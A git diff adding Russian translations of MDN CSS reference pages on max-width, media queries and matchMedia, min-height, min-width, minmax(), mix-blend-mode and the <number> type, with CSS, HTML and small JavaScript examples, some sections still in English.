diff --git a/files/ru/web/css/max-width/index.html b/files/ru/web/css/max-width/index.html new file mode 100644 index 0000000000..84996127c4 --- /dev/null +++ b/files/ru/web/css/max-width/index.html @@ -0,0 +1,169 @@ +--- +title: max-width +slug: Web/CSS/max-width +translation_of: Web/CSS/max-width +--- +
{{CSSRef}}
+ +

Свойство CSS max-width устанавливает максимальную ширину элемента. Оно предотвращает используемое значение свойства {{ Cssxref("width") }}  от становления больше, чем значение, указанное для max-width.

+ +
{{EmbedInteractiveExample("pages/css/max-width.html")}}
+ + + +

{{ Cssxref("max-width") }} перекрывает {{cssxref("width")}}, но {{ Cssxref("min-width") }} перекрывает {{ Cssxref("max-width") }}.

+ +

Синтаксис

+ +
/* <length> значение */
+max-width: 3.5em;
+
+/* <percentage> значение */
+max-width: 75%;
+
+/* Значения-ключевые слова */
+max-width: none;
+max-width: max-content;
+max-width: min-content;
+max-width: fit-content;
+max-width: fill-available;
+
+/* Глобальные значения */
+max-width: inherit;
+max-width: initial;
+max-width: unset;
+
+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Максимальная ширина выражается как {{cssxref("<length>")}}.
+
{{cssxref("<percentage>")}}
+
Максимальная ширина выражается как {{cssxref("<percentage>")}} от ширины родительского блока.
+
+ +

Значения-ключевые слова

+ +
+
none
+
Ширина не имеет максимального значения. (по умолчанию)
+
max-content{{experimental_inline()}}
+
Внутренняя предпочтительная ширина.
+
min-content{{experimental_inline()}}
+
Внутренняя минимальная ширина.
+
fill-available{{experimental_inline()}}
+
Ширина родительского блока минус горизонтальные margin, border, и padding. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., available.)
+
fit-content{{experimental_inline()}}
+
То же что и max-content.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

В этом примере, "child" будет иметь ширину 150 пикселей или ширину "parent", в зависимости от того, что меньше:

+ +
+
<div id="parent">
+  <div id="child">
+    Fusce pulvinar vestibulum eros, sed luctus ex lobortis quis.
+  </div>
+</div>
+
+ +
#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child {
+  background: gold;
+  width: 100%;
+  max-width: 150px;
+}
+
+
+ +

{{EmbedLiveSample("basic-max-width-demo", 350, 100)}}

+ +

Значение fit-content можно использовать для установки ширины элемента на основе внутреннего размера, требуемого его содержимым:

+ +
+ + +
#parent {
+  background: lightblue;
+  width: 300px;
+}
+
+#child  {
+  background: gold;
+  width: 100%;
+  max-width: -moz-fit-content;
+  max-width: -webkit-fit-content;
+}
+
+
+ +

{{EmbedLiveSample("fit-content-demo", 400, 100)}}

+ +

Проблемы доступности

+ +

Убедитесь, что элементы с max-width не обрезаются и / или не закрывают другой контент, когда страница увеличена для увеличения размера текста. 

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'max-width') }}{{ Spec2('CSS3 Sizing') }}Добавляет ключевые слова max-content, min-content, fit-content, и fill-available. (CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией)
{{ SpecName('CSS3 Transitions', '#animatable-css', 'max-width') }}{{ Spec2('CSS3 Transitions') }}Определяет max-width как анимируемое.
{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'max-width') }}{{ Spec2('CSS2.1') }}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.max-width")}}

+ +

Смотрите также

+ +
    +
  • {{ Cssxref("width") }}, {{ Cssxref("min-width") }}, {{ Cssxref("max-height") }}
    • +
  • Блочная модель, {{ Cssxref("box-sizing") }}
    • +
diff --git a/files/ru/web/css/media_queries/index.html b/files/ru/web/css/media_queries/index.html new file mode 100644 index 0000000000..b0300f3174 --- /dev/null +++ b/files/ru/web/css/media_queries/index.html @@ -0,0 +1,131 @@ +--- +title: Media queries +slug: Web/CSS/Media_Queries +tags: + - CSS + - CSS3 Media Queries + - Media Queries + - NeedsTranslation + - Overview + - Reference + - Responsive Design + - TopicStub +translation_of: Web/CSS/Media_Queries +--- +
{{CSSRef("CSS3 Media Queries")}}
+ +

Media Queries - ключевой компонент отзывчивого дизайна, который делает возможным для CSS адаптироваться в зависимости от различных парметров или характеристик устройства. Например, media query может применить различные стили если экран меньше определенного размера, или в зависимости от того находится устройство в портретном или альбомном режиме. {{cssxref("@media")}} at-правило используется чтобы задать условия применения стилей к документу.

+ +

Кроме того, media query синтаксис используется в других контекстах, таких как атрибут {{htmlattrxref("media", "source")}} элемента {{HTMLElement("source")}}, который может быть установлен в media query строку, чтобы определять нужно или нет использовать этот источник, когда выбирается определенное изображение для использования в элементе {{HTMLElement("picture")}}.

+ +

In addition, the {{domxref("Window.matchMedia()")}} method can be used to test the window against a media query. You can also use {{domxref("MediaQueryList.addListener()")}} to be notified whenever the state of the queries changes. With this functionality, your site or app can respond to changes in the device configuration, orientation, or state.

+ +

You can learn more about programmatically using media queries in Testing media queries.

+ +

Reference

+ +

At-rules

+ +
+
    +
  • {{cssxref("@import")}}
    • +
  • {{cssxref("@media")}}
    • +
+
+ +

Guides

+ +
+
Using media queries
+
Introduces media queries, their syntax, and the operators and media features which are used to construct media query expressions.
+
Testing media queries
+
Describes how to test media queries from your JavaScript code, programmatically, to determine the state of the device, and to set up listeners that let your code be notified when the results of media queries change (such as when the user rotates the screen, causing an orientation change).
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}} 
{{SpecName('CSS4 Media Queries')}}{{Spec2('CSS4 Media Queries')}} 
{{SpecName('CSS3 Media Queries')}}{{Spec2('CSS3 Media Queries')}} 
{{SpecName('CSS2.1', 'media.html')}}{{Spec2('CSS2.1')}}Initial definition
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.7)}}9.09.21.3
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoMobile(1.7)}}9.09.03.1
+
diff --git a/files/ru/web/css/media_queries/using_media_queries/index.html b/files/ru/web/css/media_queries/using_media_queries/index.html new file mode 100644 index 0000000000..8c3f484537 --- /dev/null +++ b/files/ru/web/css/media_queries/using_media_queries/index.html @@ -0,0 +1,120 @@ +--- +title: Использование медиа-запросов +slug: Web/CSS/Media_Queries/Using_media_queries +tags: + - Веб + - Медиа + - Медиа верстка + - Медиа запросы + - Отзывчивый дизайн + - Продвинутый + - Резиновая вёрстка + - Руководство +translation_of: Web/CSS/Media_Queries/Using_media_queries +--- +
{{cssref}}
+ +

Медиазапросы используются в тех случаях , когда нужно применить разные CSS-стили, для разных устройств по типу отображения (например: для принтера, монитора или смартфона), а также конкретных характеристик устройства  (например: ширины окна просмотра браузера), или внешней среды (например: внешнее освещение). Учитывая огромное количество подключаемых к интернету устройств, медиазапросы являются очень важным инструментом при создании веб-сайтов и приложений, которые будут правильно работать на всех доступных устройствах, которые  есть у Ваших пользователей. 

+ +

Медиа для разных типов устройств

+ +

Медиа запросы позволяют адаптировать страницу для различных типов устройств, таких как: принтеры, речевых браузеров, устройств Брайля, телевизоров и так далее. Например это правило для принтеров:

+ +
@media print { ... }
+ +

Вы также можете писать правила сразу для нескольких устройств. Например этот @media написан сразу для экранов и принтеров:

+ +
@media screen, print { ... }
+ +

Список устройств вы можете найти перейдя по этой ссылке. Но для задания более детальных и узконаправленных правил вам нужно просмотреть следующий раздел.

+ +

Узконаправленные @media

+ +

Media features описывают некие характеристики определенного {{glossary("user agent")}}, устройства вывода или окружения. Например, Вы можете применить выбранные стили  только для широкоэкранных мониторов, компьютеров с мышью, или для устройств, которые используются в условиях слабой освещенности. В примере ниже стили будут применены только когда основное устройство ввода пользователя (например мышь)  будет расположено над элементами:

+ +
@media (hover: hover) { ... }
+ +

Многие медиа-выражения представляют собой функцию диапазона и имеют префиксы "min-" или "max-". Минимальное значение и максимальное значение условия, соответственно. Например этот CSS код применяется только если ширина {{glossary("viewport")}} меньше или равна 12450px:

+ +
@media (max-width: 12450px) { ... }
+ +

Если вы создаете медиа-запрос без указания значения, вложенные стили будут использоваться до тех пор, пока значение функции не равно нулю. Например, этот CSS будет применяться к любому устройству с цветным экраном:

+ +
@media (color) { ... }
+ +

Если функция не применима к устройству, на котором работает браузер, выражения, включающие эту функцию, всегда ложны. Например, стили, вложенные в следующий запрос, никогда не будут использоваться, потому что ни одно речевое устройство не имеет формат экрана:

+ +
@media speech and (aspect-ratio: 11/5) { ... }
+ +

Дополнительные примеры медиа запросов, смотрите на справочной странице для каждой конкретной функции.

+ +

Создание комплексных медиа запросов

+ +

Иногда вы хотите создать медиа-запрос, включающий в себя несколько условий. В таком случае применяются логические операторы: not, and, and only. Кроме того, вы можете объединить несколько медиа-запросов в список через запятую; это позволяет применять одни и те же стили в разных ситуациях.

+ +

В прошлом примере мы видели как применяется оператор and для группировки type и функции. Оператор and так же может комбинировать несколько функций в одно медиа-выражение. Между тем, оператор not отрицает медиазапрос, полностью инвертируя его значение. Единственный оператор не позволяет старым браузерам применять стили.

+ +
+

Note: In most cases, the all media type is used by default when no other type is specified. However, if you use the not or only operators, you must explicitly specify a media type.

+
+ +

and

+ +

The and keyword combines a media feature with a media type or other media features. This example combines two media features to restrict styles to landscape-oriented devices with a width of at least 30 ems:

+ +
@media (min-width: 30em) and (orientation: landscape) { ... }
+ +

To limit the styles to devices with a screen, you can chain the media features to the screen media type:

+ +
@media screen and (min-width: 30em) and (orientation: landscape) { ...  }
+ +

comma-separated lists

+ +

You can use a comma-separated list to apply styles when the user's device matches any one of various media types, features, or states. For instance, the following rule will apply its styles if the user's device has either a minimum height of 680px or is a screen device in portrait mode:

+ +
@media (min-height: 680px), screen and (orientation: portrait) { ... }
+ +

Taking the above example, if the user had a printer with a page height of 800px, the media statement would return true because the first query would apply. Likewise, if the user were on a smartphone in portrait mode with a viewport height of 480px, the second query would apply and the media statement would still return true.

+ +

not

+ +

The not keyword inverts the meaning of an entire media query. It will only negate the specific media query it is applied to. (Thus, it will not apply to every media query in a comma-separated list of media queries.) The not keyword can't be used to negate an individual feature query, only an entire media query. The not is evaluated last in the following query:

+ +
@media not all and (monochrome) { ... }
+
+ +

... so that the above query is evaluated like this:

+ +
@media not (all and (monochrome)) { ... }
+
+ +

... rather than like this:

+ +
@media (not all) and (monochrome) { ... }
+ +

As another example, the following media query:

+ +
@media not screen and (color), print and (color) { ... }
+
+ +

... is evaluated like this:

+ +
@media (not (screen and (color))), print and (color) { ... }
+ +

only

+ +

The only keyword prevents older browsers that do not support media queries with media features from applying the given styles. It has no effect on modern browsers.

+ +
<link rel="stylesheet" media="only screen and (color)" href="modern-styles.css" />
+
+ +

Смотрите также

+ + diff --git "a/files/ru/web/css/media_queries/\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\274\320\265\320\264\320\270\320\260_\320\267\320\260\320\277\321\200\320\276\321\201\321\213/index.html" "b/files/ru/web/css/media_queries/\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\274\320\265\320\264\320\270\320\260_\320\267\320\260\320\277\321\200\320\276\321\201\321\213/index.html" new file mode 100644 index 0000000000..878621ebd3 --- /dev/null +++ "b/files/ru/web/css/media_queries/\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\274\320\265\320\264\320\270\320\260_\320\267\320\260\320\277\321\200\320\276\321\201\321\213/index.html" @@ -0,0 +1,83 @@ +--- +title: Тестирование медиа-запросов программно +slug: Web/CSS/Media_Queries/Тестирование_медиа_запросы +tags: + - Запросы + - медиа-запросы +translation_of: Web/CSS/Media_Queries/Testing_media_queries +--- +
{{cssref}}
+ +

 {{Glossary("DOM")}} предоставляет возможности, позволяющие тестировать результат  медиа-запросов программно, с помощью интерфейса {{domxref("MediaQueryList") }}, его методов и свойств. Однажды, создав объект {{domxref("MediaQueryList") }} вы можете проверить результат запроса или получать уведомление, при изменении результата.

+ +

Создание списка медиа-запросов

+ +

Прежде, чем вы сможете оценить результаты медиа-запросов, вам необходимо создать объект {{domxref("MediaQueryList") }} , отражающий запрос. Для этого используйется метод {{domxref("window.matchMedia") }}.

+ +

Например, настройка списка запросов, который определяет, находится ли устройство в альбомной или книжной ориентации:

+ +
var mediaQueryList = window.matchMedia("(orientation: portrait)");
+
+ +

Проверка результата запроса

+ +

После того, как вы создали свой список медиа-запросов, вы можете проверить результат запроса, посмотрев на значение его свойства matches:

+ +
if (mediaQueryList.matches) {
+  /* Окно просмотра в настоящее время находится в книжной ориентации */
+} else {
+  /* Окно просмотра в настоящее время находится в альбомной ориентации */
+}
+
+ +

Получение уведомлений о запросах

+ +

Если вам необходимо постоянно следить за изменениями в результате запроса, эффективнее зарегистрировать слушатель, чем вытаскивать результат запросов.  Для этого вызовите метод addListener() объекта {{domxref("MediaQueryList") }} с функцией обратного вызова, которая вызывается при изменении статуса медиа-запроса (например, тест медиа-запроса переходит от true к false):

+ +
var mediaQueryList = window.matchMedia("(orientation: portrait)"); // Создание списка запросов.
+function handleOrientationChange(mql) { ... } // Определение функции обратного вызова для слушателя событий.
+mediaQueryList.addListener(handleOrientationChange); // Добавление функции обратного вызова в качестве слушателя к списку запросов.
+
+handleOrientationChange(mediaQueryList); // Запуск обработчика изменений, один раз.
+
+ +

Этот код создает список медиа-запросов для тестирование ориентации, а затем добавляет к нему слушатель событий. После добавления слушателя, мы, также, непосредственно вызываем слушателя. Это заставляет нашего слушателя выполнять настройки, основываясь на текущей ориентации устройства; в противном случае, наш код может предполагать, что устройство находится в книжной ориентации при запуске, даже если оно фактически находится в альбомном положении.

+ +

Функция handleOrientationChange() будет следить за результатом запроса и обрабатывать все, что нам нужно сделать при изменении ориентации:

+ +
function handleOrientationChange(evt) {
+  if (evt.matches) {
+    /* Окно просмотра в настоящее время находится в книжной ориентации */
+  } else {
+    /* Окно просмотра в настоящее время находится в альбомной ориентации */
+  }
+}
+
+ +

Выше, мы определяем параметры как evt — event объект. Это имеет значение, поскольку новые реализации MediaQueryList обрабатывают слушатели событий стандартным способом. Они больше не используют нестандартный механизм  {{domxref("MediaQueryListListener")}} , а используют стандартную настройку слушателя событий, передавая объект event  {{domxref("MediaQueryListEvent")}} как аргумент функции обратного вызова.

+ +

Этот event объект также включает свойства {{domxref("MediaQueryListEvent.media","media")}} и {{domxref("MediaQueryListEvent.matches","matches")}}, поэтому вы можете запросить эти свойства MediaQueryList путем прямого доступа к нему или доступа к event объекту.

+ +

Уведомление о завершении запроса

+ +

Для прекращения уведомлений об изменении значения вашего медиа-запроса вызовите метод removeListener() для {{domxref("MediaQueryList") }}, передав ему имя, ранее определенной функции:

+ +
mediaQueryList.removeListener(handleOrientationChange);
+
+ +

Поддержка браузеров

+ +

MediaQueryList interface

+ + + +

{{Compat("api.MediaQueryList")}}

+ +

See also

+ +
    +
  • Media queries
    • +
  • {{domxref("window.matchMedia()") }}
    • +
  • {{domxref("MediaQueryList") }}
    • +
  • {{domxref("MediaQueryListEvent") }}
    • +
diff --git a/files/ru/web/css/min-height/index.html b/files/ru/web/css/min-height/index.html new file mode 100644 index 0000000000..8459a8ec75 --- /dev/null +++ b/files/ru/web/css/min-height/index.html @@ -0,0 +1,119 @@ +--- +title: min-height +slug: Web/CSS/min-height +translation_of: Web/CSS/min-height +--- +
{{CSSRef}}
+ +

Свойство CSS min-height устанавливает минимальную высоту элемента. Оно предотвращает используемое значение свойства {{ Cssxref("height") }} от становления меньше, чем значение, указанное для min-height.

+ +
{{EmbedInteractiveExample("pages/css/min-height.html")}}
+ + + +

Высота элемента принимает значение min-height всякий раз, когда min-height больше чем {{ Cssxref("max-height") }} или {{Cssxref("height")}}.

+ +

Синтаксис

+ +
/* <length> значения */
+min-height: 3.5em;
+
+/* <percentage> значения */
+min-height: 10%;
+
+/* Значения-ключевые слова */
+min-height: max-content;
+min-height: min-content;
+min-height: fit-content;
+min-height: fill-available;
+
+/* Глобальные значения */
+min-height: inherit;
+min-height: initial;
+min-height: unset;
+
+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Минимальная высота выражается как {{cssxref("<length>")}}. Отрицательные значения делают свойство недействительным.
+
{{cssxref("<percentage>")}}
+
Минимальная высота выражается как {{cssxref("<percentage>")}} от высоты родительского блока. Отрицательные значения делают свойство недействительным.
+
+ +

Значения-ключевые слова

+ +
+
auto
+
Минимальная высота для flex-элементов по умолчанию, предоставляет более разумное значение по умолчанию, чем 0 для других способов разметки.
+
+ +
+
max-content {{ experimental_inline() }}
+
Внутренняя предпочтительная высота.
+
min-content {{ experimental_inline() }}
+
Внутренняя минимальная высота.
+
fill-available{{ experimental_inline() }}
+
Высота родительского блока минус вертикальные margin, border, и padding. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., available.)
+
fit-content {{ experimental_inline() }}
+
Согласно CSS3 Box, это синоним min-content. CSS3 Sizing определяет более сложный алгоритм, но ни один браузер не реализует его даже экспериментальным путем.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
table { min-height: 75%; }
+
+form { min-height: 0; }
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-height') }}{{ Spec2('CSS3 Sizing') }}Добавляет ключевые слова max-content, min-content, fit-content, и fill-available. (CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией)
{{ SpecName('CSS3 Flexbox', '#min-auto', 'min-height') }}{{ Spec2('CSS3 Flexbox') }}Добавляет ключевое слово auto и использует его как первоначальное значение.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-height') }}{{ Spec2('CSS3 Transitions') }}Определяет min-height как анимируемое.
{{ SpecName('CSS2.1', 'visudet.html#min-max-heights', 'min-height') }}{{ Spec2('CSS2.1') }}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.min-height")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/min-width/index.html b/files/ru/web/css/min-width/index.html new file mode 100644 index 0000000000..10feff5ec9 --- /dev/null +++ b/files/ru/web/css/min-width/index.html @@ -0,0 +1,118 @@ +--- +title: min-width +slug: Web/CSS/min-width +translation_of: Web/CSS/min-width +--- +
{{CSSRef}}
+ +

Свойство CSS min-width устанавливает минимальную ширину элемента. Оно предотвращает используемое значение свойства {{ Cssxref("width") }}  от становления меньше, чем значение, указанное для min-width.

+ +
{{EmbedInteractiveExample("pages/css/min-width.html")}}
+ + + +

Ширина элемента принимает значение min-width когда min-width больше чем {{ Cssxref("max-width") }} или {{Cssxref("width")}}.

+ +

Синтаксис

+ +
/* <length> значение */
+min-width: 3.5em;
+
+/* <percentage> значение */
+min-width: 10%;
+
+/* Значения-ключевые слова */
+min-width: max-content;
+min-width: min-content;
+min-width: fit-content;
+min-width: fill-available;
+
+/* Глобальные значения */
+min-width: inherit;
+min-width: initial;
+min-width: unset;
+
+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Минимальная ширина выражается как {{cssxref("<length>")}}. Отрицательные значения делают свойство недействительным.
+
{{cssxref("<percentage>")}}
+
Минимальная ширина выражается как {{cssxref("<percentage>")}} от ширины родительского блока. Отрицательные значения делают свойство недействительным.
+
+ +

Значения-ключевые слова

+ +
+
auto
+
Минимальная ширина для flex-элементов по умолчанию, предоставляет более разумное значение по умолчанию, чем 0 для других способов разметки.
+
max-content {{ experimental_inline() }}
+
Внутренняя предпочтительная ширина.
+
min-content {{ experimental_inline() }}
+
Внутренняя минимальная ширина.
+
fill-available{{ experimental_inline() }}
+
Ширина родительского блока минус горизонтальные margin, border, и padding. (Обратите внимание, что некоторые браузеры реализуют устаревшее имя для этого ключевого слова., available.)
+
fit-content {{ experimental_inline() }}
+
Определяет как min(max-content, max(min-content, fill-available)).
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
table { min-width: 75%; }
+
+form { min-width: 0; }
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Sizing', '#width-height-keywords', 'min-width') }}{{ Spec2('CSS3 Sizing') }}Добавляет ключевые слова max-content, min-content, fit-content, и fill-available. (CSS3 Box и CSS3 Writing Modes черновики, используемые для определения этих ключевых слов, были заменены этой спецификацией)
{{ SpecName('CSS3 Flexbox', '#min-size-auto', 'min-width') }}{{ Spec2('CSS3 Flexbox') }}Добавляет ключевое слово auto и использует как значение по умолчанию.
{{ SpecName('CSS3 Transitions', '#animatable-css', 'min-width') }}{{ Spec2('CSS3 Transitions') }}Определяет min-width как анимируемое.
{{ SpecName('CSS2.1', 'visudet.html#min-max-widths', 'min-width') }}{{ Spec2('CSS2.1') }}Первоначальное определение.
+ +

{{cssinfo}}

+ +

Поддержка браузерами

+ + + +

{{Compat("css.properties.min-width")}}

+ +

See also

+ + diff --git a/files/ru/web/css/minmax()/index.html b/files/ru/web/css/minmax()/index.html new file mode 100644 index 0000000000..a938b33cf0 --- /dev/null +++ b/files/ru/web/css/minmax()/index.html @@ -0,0 +1,191 @@ +--- +title: minmax() +slug: Web/CSS/minmax() +translation_of: Web/CSS/minmax() +--- +

minmax() это CSS функция, определяющая диапазон размеров, который больше или равен min и меньше или равен max. Используется в CSS Grids.

+ +
/* <inflexible-breadth>, <track-breadth> values */
+minmax(200px, 1fr)
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(100px, max-content)
+minmax(min-content, 400px)
+minmax(max-content, auto)
+minmax(auto, 300px)
+minmax(min-content, auto)
+
+/* <fixed-breadth>, <track-breadth> values */
+minmax(200px, 1fr)
+minmax(30%, 300px)
+minmax(400px, 50%)
+minmax(50%, min-content)
+minmax(300px, max-content)
+minmax(200px, auto)
+
+/* <inflexible-breadth>, <fixed-breadth> values */
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(min-content, 200px)
+minmax(max-content, 200px)
+minmax(auto, 300px)
+
+ +

Синтаксис

+ +

Функция принимает два параметра, min и max.

+ +

Каждый параметр может быть значением <length>, либо <percentage>, либо <flex>, или одним из ключевых слов max-content, min-content, или auto.

+ +

Если max < min, то max игнорируется и minmax(min,max) обрабатывается как min. As a maximum, a {{cssxref("flex_value","<flex>")}} value sets the flex factor of a grid track; it is invalid as a minimum.

+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
A non-negative length.
+
{{cssxref("<percentage>")}}
+
A non-negative percentage relative to the inline size of the grid container in column grid tracks, and the block size of the grid container in row grid tracks. If the size of the grid container depends on the size of its tracks, then the <percentage> must be treated as auto. The {{glossary("user agent")}} may adjust the intrinsic size contributions of the track to the size of the grid container and increase the final size of the track by the minimum amount that would result in honoring the percentage.
+
{{cssxref("<flex>")}}
+
A non-negative dimension with the unit fr specifying the track’s flex factor. Each <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
+
max-content
+
Represents the largest max-content contribution of the grid items occupying the grid track.
+
min-content
+
Represents the largest min-content contribution of the grid items occupying the grid track.
+
auto
+
As a maximum, identical to max-content. As a minimum it represents the largest minimum size (as specified by {{cssxref("min-width")}}/{{cssxref("min-height")}}) of the grid items occupying the grid track.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

CSS

+ +
#container {
+  display: grid;
+  grid-template-columns: minmax(max-content, 300px) minmax(200px, 1fr) 150px;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container > div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+
+ +

HTML

+ +
<div id="container">
+  <div>
+    Item as wide as the content,<br/>
+    but at most 300 pixels.
+  </div>
+  <div>
+    Item with flexible width but a minimum of 200 pixels.
+  </div>
+  <div>
+    Inflexible item of 150 pixels width.
+  </div>
+</div>
+ +

Результат

+ +

{{EmbedLiveSample("Example", "100%", 200)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS Grid", "#valdef-grid-template-columns-minmax", "minmax()")}}{{Spec2("CSS Grid")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.grid-template-columns.minmax")}}

+ +

Смотрите также

+ + + + diff --git a/files/ru/web/css/mix-blend-mode/index.html b/files/ru/web/css/mix-blend-mode/index.html new file mode 100644 index 0000000000..996a1d611a --- /dev/null +++ b/files/ru/web/css/mix-blend-mode/index.html @@ -0,0 +1,649 @@ +--- +title: mix-blend-mode +slug: Web/CSS/mix-blend-mode +tags: + - CSS + - CSS композитинг + - CSS свойство +translation_of: Web/CSS/mix-blend-mode +--- +
{{CSSRef}}
+ +

CSS свойство mix-blend-mode определяет режим смешивания цветов выбранного элемента с низлежащими слоями.

+ +

{{EmbedInteractiveExample("pages/css/mix-blend-mode.html")}}

+ + + +

Синтаксис

+ +
/* Ключевые слова */
+mix-blend-mode: normal;
+mix-blend-mode: multiply;
+mix-blend-mode: screen;
+mix-blend-mode: overlay;
+mix-blend-mode: darken;
+mix-blend-mode: lighten;
+mix-blend-mode: color-dodge;
+mix-blend-mode: color-burn;
+mix-blend-mode: hard-light;
+mix-blend-mode: soft-light;
+mix-blend-mode: difference;
+mix-blend-mode: exclusion;
+mix-blend-mode: hue;
+mix-blend-mode: saturation;
+mix-blend-mode: color;
+mix-blend-mode: luminosity;
+
+/* Глобальные значения */
+mix-blend-mode: initial;
+mix-blend-mode: inherit;
+mix-blend-mode: unset;
+
+ +

Значения

+ +
+
{{cssxref("<blend-mode>")}}
+
Режим смешивания, который нужно применить.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ + + +

{{EmbedLiveSample("mix-blend-mode", "100%", 1600, "", "", "example-outcome-frame")}}

+ +

Пример HTML

+ +
<div class="isolate">
+  <div class="circle circle-1"></div>
+  <div class="circle circle-2"></div>
+  <div class="circle circle-3"></div>
+</div>
+ +
.circle {
+  width: 80px;
+  height: 80px;
+  border-radius: 50%;
+  mix-blend-mode: screen;
+  position: absolute;
+}
+
+.circle-1 {
+  background: red;
+}
+
+.circle-2 {
+  background: lightgreen;
+  left: 40px;
+}
+
+.circle-3 {
+  background: blue;
+  left: 20px;
+  top: 40px;
+}
+
+.isolate {
+  isolation: isolate; /* Без isolation, цвет фона будет учитываться */
+  position: relative;
+}
+ +

{{EmbedLiveSample("Пример_HTML", "100%", "180")}}

+ +

Пример SVG

+ +

Этот пример повторяет предыдущий с использованием SVG.

+ +
<svg>
+  <g class="isolate">
+    <circle cx="40" cy="40" r="40" fill="red"/>
+    <circle cx="80" cy="40" r="40" fill="lightgreen"/>
+    <circle cx="60" cy="80" r="40" fill="blue"/>
+  </g>
+</svg>
+ +
circle { mix-blend-mode: screen; }
+.isolate { isolation: isolate; } /* Без isolation, цвет фона будет учитываться */
+ +

{{EmbedLiveSample("Пример_SVG", "100%", "180")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode') }}{{ Spec2('Compositing') }}Первоначальное определение
+ +

Совместимость с браузерами

+ +

{{Compat("css.properties.mix-blend-mode")}}

+ +

Смотрите также

+ +
    +
  • {{cssxref("<blend-mode>")}}
    • +
  • {{cssxref("background-blend-mode")}}
    • +
diff --git a/files/ru/web/css/number/index.html b/files/ru/web/css/number/index.html new file mode 100644 index 0000000000..325e4954b7 --- /dev/null +++ b/files/ru/web/css/number/index.html @@ -0,0 +1,139 @@ +--- +title: +slug: Web/CSS/number +translation_of: Web/CSS/number +--- +
{{CSSRef}}
+ +

<number> - тип хранения данных в CSS  представляющий собой число: либо целое, либо с дробной частью.

+ +

Синтаксис

+ +

Синтаксис <number> расширяет синтаксис {{cssxref("<integer>")}}. Дробное значение представлено с помощью ., после которой стоит одна (или более) цифра, и может быть присоединено к целочисленному типу данных. Не существует единицы измерения, связанной с числами.

+ +

Интерполяция

+ +

Во время анимации, значения типа данных CSS <number> являются интерполированными как числа вещественные или с плавающей точкой. Скорость интерполяции определена timing function, связанной с анимацией.

+ +

Примеры

+ +

Корректные числа

+ +
12          Ряд, состоящий из <integer>, также является <number>.
+4.01        Положительное число с плавающей точкой
+-456.8      Отрицательно число с плавающей точкой
+0.0         Нуль
++0.0        Нуль, с + перед ним
+-0.0        Нуль, с - перед ним
+.60         Дробное число без присутствия нуля
+10e3        Научное обозначение
+-3.4e-2     Сложное научное обозначение
+
+ +

Некорректные числа

+ +
12.         После дробных чисел должна присутствовать как минимум 1 цифра.
++-12.2      Одновременно перед числом допустимо ставить только один из симоволов +/-.
+12.1.1      Разрешена только одна "дробная" точка.
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Values', '#numbers', '<number>')}}{{Spec2('CSS3 Values')}}Нет значительных изменений.
{{SpecName('CSS2.1', 'syndata.html#numbers', '<number>')}}{{Spec2('CSS2.1')}}Явное определение.
{{SpecName('CSS1', '', '<number>')}}{{Spec2('CSS1')}}Неявное определение.
+ +

Совместимость с браузерами

+ +

